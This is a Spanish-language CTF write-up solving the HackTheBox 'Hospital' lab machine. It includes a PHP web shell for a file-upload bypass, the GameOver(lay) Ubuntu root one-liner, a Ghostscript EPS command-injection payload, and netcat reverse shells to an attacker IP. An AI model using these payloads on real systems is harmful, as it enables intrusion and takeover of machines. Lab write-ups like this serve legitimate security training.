Post

Hospital

Writeup de la máquina Hospital de Hackthebox.

Hospital

Resumen de la resolución

Texto ___

Enumeración

En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:

1
openvpn lab_trr0r.opvn

Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICMP. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Windows pues cuenta con TTL próximo a 128 (127), además gracias al script whichSystem.py podremos conocer dicha información.

El motivo por el cual el TTL es de 63 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando ping -c 1 -R 10.10.11.241

Nmap

En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.

1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.11.241 -oG allPorts

Observamos como nos reporta que un montón de puertos abiertos, pero únicamente nos interesan los que están marcados en rojo.

Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.

A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.

1
nmap -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6404,6406,6407,6409,6612,6633,6648,8080,9389 -sCV 10.10.11.241 -oN targeted

En el segundo escaneo de Nmap, lo que más nos llamará la atención es la existencia del dominio hospital.htb y los páginas webs alojadas en el puerto 8080 y 443.


Puerto 443 - HTTPS (Apache) | RoundCube

Virtual Hosting al /etc/hosts 10.10.11.241 hospital.htb dc.hospital.htb

En la página web del puerto 443 encontraremos un Webmail

Puerto 8080 - HTTP (Apache)

nos registraremos y logearemos

Una vez logeados, veremos que tenemos un campo de subida de ficheros


Explotación

Abuso de subidas de archivos

Si intentamos subir un .php nos dará un error, por lo que en este punto haremos fuzzing de extensiones usando Caido / BurpSuite

PHP File Extensions - HackTricks

Con el típico payload no funciona <?php system($_GET[0]); ?>

<?php phpinfo(); ?> para ver las disable_functions

Básicamente debemos de usar esto <?php echo fread(popen($_GET[0], "r"), 10000); ?>

Subsistema de Linux

Reverse Shell + NetCat (nc -nlvp 443)


Linux Subsystem

Tratamiento de la TTY

Estamos en un Linux dentro de un Windows, es decir un Subsistema de Linux en Windows

GameOver(lay) Ubuntu Privilege Escalation | CVE-2023-2640-CVE-2023-32629

Exploit CVE-2023-2640-CVE-2023-32629 Original POC

1
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("whoami && id")'

1
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")'

Cracking Hash

Podemos usar hashcat de la siguiente forma para crackearlo

1
hashcat hash /usr/share/wordlists/rockyou.txt -a0

En cambio, si usamos Hashes.com nos los crackeará instántaneamente

___

Puerto 135 - RPC (rpcclient)

Usando las credenciales obtenidas, veremos que nos podemos conectar a través de ssh, pero nos conectaremos al Subsistema Linux

Probaremos a conectaremos por winrm pero no tendremos éxito. En cambio, a través de smb si que podemos pero no encontraremos ningún recurso interesante. Finalmente, nos conectaremos usando rpcclient usando el siguiente comando.

1
rpcclient 10.10.11.241 -U 'drwilliams' -c "enumdomusers"

Nos crearemos un fichero con los usuarios usando el siguiente oneliner.

1
rpcclient 10.10.11.241 -U 'drwilliams%qwe123!@#' -c "enumdomusers" | grep -oP "\[.*?\]" | grep -vE '0x|SM|-' | tr -d '[]' > users.txt

Usando el siguiente comando, kerbrute, podemos comprobar que usuarios son válidos.

1
kerbrute userenum --dc 10.10.11.241 -d hospital.htb users.txt

Veremos que únicamente hay 3 usuarios válidos, Administrator, drbrown y drwilliams

Probaremos un ASREProast Attack pero veremos que ningún usuario es ASREProasteable

__

Puerto 443 - HTTPS (Apache) | RoundCube

CVE-2023-36664 | Ghostscript Command Injection

CVE-2023-36664 - Ghostscript Command Injection

Básicamente, para crear un fichero .eps que nos permita ejecutar comandos debemos de lanzar el siguiente exploit.

1
python3 CVE_2023_36664_exploit.py --payload "ping -n 1 10.10.14.52" -g -x eps

Si no queremos usar el exploit de python, alternativamente, podemos crear un fichero con la siguiente estructura e iremos cambiando el comando a ejecutar según nuestras preferencias.

1
2
%!PS-Adobe-3.0 EPSF-3.0
(%pipe%ping -n 1 10.10.14.160) (w) file /DCTDecode filter

[!INFO] Es importante destacar el uso de los parámetros -n y -c, ya que en Windows el comando ping utiliza -n, mientras que en otros sistemas, como Linux, se emplea -c

Le enviaremos un correo a drbrown@hospital.htb y tras esperar muy poco, veremos como recibimos el ping.

En este punto, lo que haremos será ponernos en escucha con NetCat (rlwrap -nlvp 443), y a continuación mandarnos una Reverse Shell usando el payload (Powershell #3 Base64) de la web RevShells.


Escalada de privilegios

Enumeración local

Nos conectaremos a través de winrm para operar desde una terminal más cómoda con muchas más funcionalidades.

1
evil-winrm -i 10.10.11.241 -u drbrown -p 'chr!$br0wn'

Permisos de escritura en subdirectorios del directorio htdocs

XAMPP

A continuación, subiremos un nc.exe para poder enviarnos una Reverse Shell.

En este punto, lo que haremos será ponernos en escucha con NetCat (rlwrap -nlvp 443), y a continuación mandarnos una Reverse Shell usando el siguiente payload .\nc.exe -e cmd.exe 10.10.14.160 443.

This post is licensed under CC BY 4.0 by the author.